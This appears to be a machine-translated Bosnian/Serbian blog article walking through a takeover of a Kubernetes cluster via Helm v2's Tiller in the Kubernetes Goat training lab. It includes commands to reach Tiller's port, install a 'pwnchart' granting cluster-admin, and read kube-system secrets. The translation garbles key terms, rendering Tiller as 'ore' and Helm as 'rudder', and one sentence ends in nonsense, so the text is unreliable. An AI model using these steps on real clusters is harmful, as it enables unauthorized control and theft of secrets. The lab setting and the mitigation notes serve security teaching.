Razbijanje Kubernetes klastera pomoću Helm v2 rude

Razbijanje Kubernetes klastera pomoću Helm v2 rude

Helm je menadžer paketa za Kubernetes, nešto slično apt-get za Ubuntu. U ovoj napomeni ćemo vidjeti prethodnu verziju kormila (v2) sa standardno instaliranom uslugom tiller, preko koje ćemo pristupiti klasteru.

Hajde da pripremimo klaster; da biste to uradili, pokrenite naredbu:

kubectl run --rm --restart=Never -it --image=madhuakula/k8s-goat-helm-tiller -- bash

Razbijanje Kubernetes klastera pomoću Helm v2 rude

Demonstracija

  • Ako ne konfigurišete ništa dodatno, helm v2 pokreće servis tiller, koji ima RBAC sa punim administratorskim pravima klastera.
  • Nakon instalacije u imenskom prostoru kube-system pojavljuje se tiller-deploy, a također otvara port 44134, vezan na 0.0.0.0. Ovo se može provjeriti pomoću telneta.

$ telnet tiller-deploy.kube-system 44134

Razbijanje Kubernetes klastera pomoću Helm v2 rude

  • Sada možete da se povežete sa servisom rude. Koristit ćemo binarnu datoteku kormila za obavljanje operacija kada komuniciramo sa servisom rude:

$ helm --host tiller-deploy.kube-system:44134 version

Razbijanje Kubernetes klastera pomoću Helm v2 rude

  • Pokušajmo dobiti tajne Kubernetes klastera iz imenskog prostora kube-system:

$ kubectl get secrets -n kube-system

Razbijanje Kubernetes klastera pomoću Helm v2 rude

  • Sada možemo kreirati vlastiti grafikon, u kojem ćemo kreirati ulogu s administratorskim pravima i dodijeliti ovu ulogu zadanom servisnom računu. Koristeći token s ovog servisnog računa, dobili smo potpuni pristup našem klasteru.

$ helm --host tiller-deploy.kube-system:44134 install /pwnchart

Razbijanje Kubernetes klastera pomoću Helm v2 rude

  • Sada kada pwnchart raspoređen, podrazumevani servisni nalog ima potpuni administrativni pristup. Provjerimo ponovo kako doći do tajni od kube-system

kubectl get secrets -n kube-system

Razbijanje Kubernetes klastera pomoću Helm v2 rude

Uspješno izvršavanje ove skripte ovisi o tome kako je tiller raspoređen; ponekad ga administratori implementiraju u zasebnom imenskom prostoru s različitim privilegijama. Helm 3 nije podložan takvim ranjivostima jer... u njemu nema freze.

Napomena prevodioca: Korištenje mrežnih politika za filtriranje prometa u klasteru pomaže u zaštiti od ove vrste ranjivosti.

izvor: www.habr.com

Dodajte komentar